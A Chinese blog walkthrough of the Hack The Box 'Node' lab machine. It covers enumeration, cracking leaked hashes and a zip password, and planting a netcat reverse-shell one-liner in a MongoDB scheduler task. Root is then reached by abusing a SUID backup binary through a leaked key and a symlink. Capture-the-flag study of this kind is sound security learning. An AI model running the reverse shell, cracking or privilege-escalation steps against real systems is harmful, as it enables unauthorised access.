• 【Hack The Box】linux练习-- Node


    HTB 学习笔记

    Hack The Box】linux练习-- Node


    🔥系列专栏:Hack The Box
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年11月9日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!

    在这里插入图片描述

    信息收集

    22/tcp   open  ssh             OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 dc5e34a625db43eceb40f4967b8ed1da (RSA)
    |   256 6c8e5e5f4fd5417d1895d1dc2e3fe59c (ECDSA)
    |_  256 d878b85d85ffad7be6e2b5da1e526236 (ED25519)
    3000/tcp open  hadoop-datanode Apache Hadoop
    | hadoop-datanode-info: 
    |_  Logs: /login
    |_http-title: MyPlace
    | hadoop-tasktracker-info: 
    |_  Logs: /login
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    web页面没有什么太多的有价值信息,只有三个用户
    考虑开始目录爆破

    tom
    mark
    rastating

    但是目录爆破也是毫无价值
    回到页面源码开始看,源码的这些js文件我是不太喜欢看的,因为很容易漏,并且我也不太能看不懂
    在这里插入图片描述但是最终还是发现了这个稍微让我敏感的东西
    于是我访问了这个页面
    在这里插入图片描述发现了很多用户名和密码

    经过md5解密,只得到了一组有效用户密码在这里插入图片描述

    User: myP14ceAdm1nAcc0uNT
    Password: manchester
    
    • 1
    • 2

    随后登陆,发现可以下载一个备份包
    在这里插入图片描述但是总是失败
    在这里插入图片描述于是抓包找到下载地址(浏览器文件右键复制下载地址也可)
    在这里插入图片描述

    curl -H @req 10.129.12.194:3000/api/admin/backup  > myplace.backup
    
    • 1

    发现他是一个base64的格式

    cat myplace.backup | base64 -d > myplace
    mv myplace myplace.zip
    unzip myplace.zip
    发现有密码,目前没有任何信息,用户登录密码无效,那就只能爆破
    
    fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt backup 
    得到密码
    magicword
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    得到内容如下

    mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace
    
    文件 app.js 包含 monngodb url
    
    • 1
    • 2
    • 3

    我们用web登陆账号密码登陆ssh
    第一步肯定是找user.txt
    但是不在当前用户的下,于是我们全局寻找
    在这里插入图片描述在这里插入图片描述
    发现在tom下,那么我们目前有两条路可选,要么直接内核提权,要么进tom然后再找机会(这里是可以直接内核提权的,用的是44298.c)

    我们选择第一种方法:
    先看一下tom运行的相关进程

    ps -ef | grep tom
    
    • 1

    在这里插入图片描述发现了app.js文件
    打开来看

    是一些目前不知道所以然的东西
    但是我估计肯定有用,不然不会这么显眼
    但是暂且一放

    linpeas.sh跑出了数据库配置文件
    在这里插入图片描述在这里插入图片描述就是这样一类的,告诉我们mongodb的账号密码,那我们肯定义不容辞的登陆,mongodb数据库的命令执行我们之前是搞过的

    mongodb

    这下面是我的清单,有兴趣的小伙伴可以去看看,还挺有用
    在这里插入图片描述

    mongo -u mark -p 5AYRft73VtFpc84k scheduler  ---一定要有scheduler
    show collections       ----show tables;查看已存在的表
    db.tasks.find({})     ----查看一下表内容,现在表中无文档
    db.tasks.insert({cmd: "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.247.129 4444 >/tmp/f"})   ----将反弹shell插入文档
    
    • 1
    • 2
    • 3
    • 4

    我们现在已经拿到了tom的用户

    现在可以准备提权,并获取root.txt
    手工枚举开始

    find / -perm -4000 -type f 2>/dev/null
    
    • 1

    在这里插入图片描述发现异常,这个二进制文件是我没见过的
    无法运行
    strings分析一下发现了base64
    在这里插入图片描述解码得到了一个压缩包,跟刚才同一个密码
    解压之后得到了一个头

    在这里插入图片描述
    在这里插入图片描述我没懂,但这个时候app.js唤醒了我,我记得我看到了backup的相关代码,于是我进行了又一次的审计

    可疑二进制文件分析

    发现可以备份一个文件或者目录,但是要带一个key,而这个kry在文件中可以被找到,那么我们就开始备份root

    app.get('/api/admin/backup', function (req, res) {
      if (req.session.user && req.session.user.is_admin) {
        var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
                          ----------------------------------------------------
        var backup = '';
    
        proc.on("exit", function(exitCode) {
          res.header("Content-Type", "text/plain");
          res.header("Content-Disposition", "attachment; filename=myplace.backup");
          res.send(backup);
        });
    
        proc.stdout.on("data", function(chunk) {
          backup += chunk;
        });
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    const backup_key
    = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
    
    • 1
    • 2
    /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root
    
    cat backup | base64 -d > backup.zip
    
    • 1
    • 2
    • 3

    结果解压出来还是那个头
    我真是服了
    不过也正常,可能root有保护机制
    上网搜了一下
    在这里插入图片描述网上说通过这里能知道root不能被备份,我没懂,但我认为处理这种情况的方法有很多,而我更喜欢软连接的方式

    ln -s /root/root.txt /tmp/rong
    /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp/rong > /tmp/backup
    
    • 1
    • 2

    然后步骤一致,即可得到root.txt

    在这里插入图片描述

  • 相关阅读:
    一站式数据可观测性平台 Datavines 正式开源啦
    java计算机毕业设计无人智慧药柜系统设计源码+lw文档+系统+数据库
    数据结构与算法(十三)——红黑树1
    【NOWCODER】- Python:运算符(二)
    JDBC001--java中的jdbc数据库的初步连接(MySQL8.0)
    docker容器操作
    Rust(16):结构体方法
    if else 替换方案
    光学设计相关知识概念(持续更新中)
    功夫猫小游戏
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/127776588